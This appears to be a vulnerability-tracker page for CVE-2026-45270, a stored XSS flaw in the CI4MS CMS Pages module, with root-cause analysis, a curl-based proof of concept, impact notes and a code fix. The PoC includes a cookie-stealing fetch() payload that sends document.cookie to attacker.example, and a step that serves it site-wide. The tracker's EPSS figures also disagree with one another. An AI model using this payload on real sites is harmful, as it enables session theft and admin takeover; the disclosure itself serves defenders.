CVE-2026-45270

HIGHPre-NVD 8.78.7
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.7 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.1%, top 80% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
8.7
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 8.7Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule

Summary

The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index()app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.

Pages controller — modules/Pages/Controllers/Pages.php:

  • Pages::create() registers the rule at line 82:
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
Then at lines 102–113 it reads the raw POST and inserts it untouched:
$langsData = $this->request->getPost('lang') ?? [];
  ...
  $this->commonModel->create('pages_langs', [
      ...
      'content' => $lData['content'],   // line 111 — RAW
      ...
  ]);
  • Pages::update() mirrors the same pattern at lines 130 and 157:
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],   // line 130
  ...
  'content' => $lData['content'],   // line 157 — RAW

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

<?php echo $pageInfo->content ?>     // no esc(), raw HTML output

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding:

  • Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
  • Different table (pages_langs.content vs blog_langs.content)
  • Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
  • Different route (/ matched by Home::index vs /blog/)
  • Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies:

curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d '[email protected]' -d 'password=AuthorPass1!'

Step 2 — create a page with a malicious content payload:

curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal ... payload.

Step 3 — trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw ` tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update):

curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/ \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

  • Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
  • Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
  • Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
  • Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111 $this->commonModel->create('pages_langs', [ 'pages_id' => $insertID, 'lang' => $langCode, 'title' => strip_tags(trim($lData['title'])), 'seflink' => strip_tags(trim($lData['seflink'])), 'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')), 'seo' => $seoData ]);

// Pages::update() — replace line 157 $langUpdate = [ 'title' => strip_tags(trim($lData['title'])), 'seflink' => strip_tags(trim($lData['seflink'])), 'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')), 'seo' => $seoData ];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated()` rather than relying on a reference mutation that the framework discards.

CVSS v3
8.7
EG Score
8.7(low)
EPSS
19.7%
KEV
Not listed

Published

May 18, 2026

Last Modified

May 18, 2026

Vendor Advisories for CVE-2026-45270(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Packagist(1)
PackageVulnerable rangeFixed inDependents
ci4-cms-erp/ci4ms0.21.0 ... 0.31.9 (57 versions)0.31.9.0

Data Freshness Timeline

(refreshed 0× in last 7d / 18× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-06-29 21:10 UTCEG score recompute
  2. 2026-06-28 10:50 UTCEG score recompute
  3. 2026-06-27 21:51 UTCEG score recompute
  4. 2026-06-27 08:54 UTCEG score recompute
  5. 2026-06-26 19:56 UTCEG score recompute
  6. 2026-06-25 17:46 UTCEG score recompute
  7. 2026-06-18 02:22 UTCEG score recompute
  8. 2026-06-17 13:15 UTCEG score recompute
  9. 2026-06-16 21:41 UTCEG score recompute
  10. 2026-06-15 23:11 UTCEG score recompute
  11. 2026-06-15 01:00 UTCEG score recompute
  12. 2026-06-14 23:18 UTCEPSS rescore
  13. 2026-06-14 11:49 UTCEG score recompute
  14. 2026-06-13 23:00 UTCEPSS rescore
  15. 2026-06-13 22:52 UTCEG score recompute
  16. 2026-06-13 03:54 UTCEG score recompute
  17. 2026-06-12 23:12 UTCEPSS rescore
  18. 2026-06-12 14:24 UTCEG score recompute
  19. 2026-06-12 01:25 UTCEG score recompute
  20. 2026-06-11 12:28 UTCEG score recompute
  21. 2026-06-10 23:30 UTCEG score recompute
  22. 2026-06-10 10:33 UTCEG score recompute
  23. 2026-06-09 21:36 UTCEG score recompute
  24. 2026-06-09 08:36 UTCEG score recompute
  25. 2026-06-08 19:39 UTCEG score recompute
Show 15 more
  1. 2026-06-08 05:43 UTCEG score recompute
  2. 2026-06-07 16:46 UTCEG score recompute
  3. 2026-06-07 03:49 UTCEG score recompute
  4. 2026-06-06 14:52 UTCEG score recompute
  5. 2026-06-06 01:54 UTCEG score recompute
  6. 2026-06-05 12:57 UTCEG score recompute
  7. 2026-06-05 00:00 UTCEG score recompute
  8. 2026-06-04 10:59 UTCEG score recompute
  9. 2026-06-03 22:02 UTCEG score recompute
  10. 2026-06-03 09:04 UTCEG score recompute
  11. 2026-06-02 20:07 UTCEG score recompute
  12. 2026-06-02 07:10 UTCEG score recompute
  13. 2026-06-01 18:12 UTCEG score recompute
  14. 2026-06-01 05:15 UTCEG score recompute
  15. 2026-05-24 06:17 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-45270?
CVE-2026-45270 is a high vulnerability published on May 18, 2026. CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule Summary The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index() →…
When was CVE-2026-45270 disclosed?
CVE-2026-45270 was first published in the National Vulnerability Database on May 18, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-45270 actively exploited?
CVE-2026-45270 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 19.7% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-45270?
CVE-2026-45270 has a CVSS v4.0 base score of 8.7 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-45270?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-45270, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-45270

Explore →

Is Your Infrastructure Affected by CVE-2026-45270?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.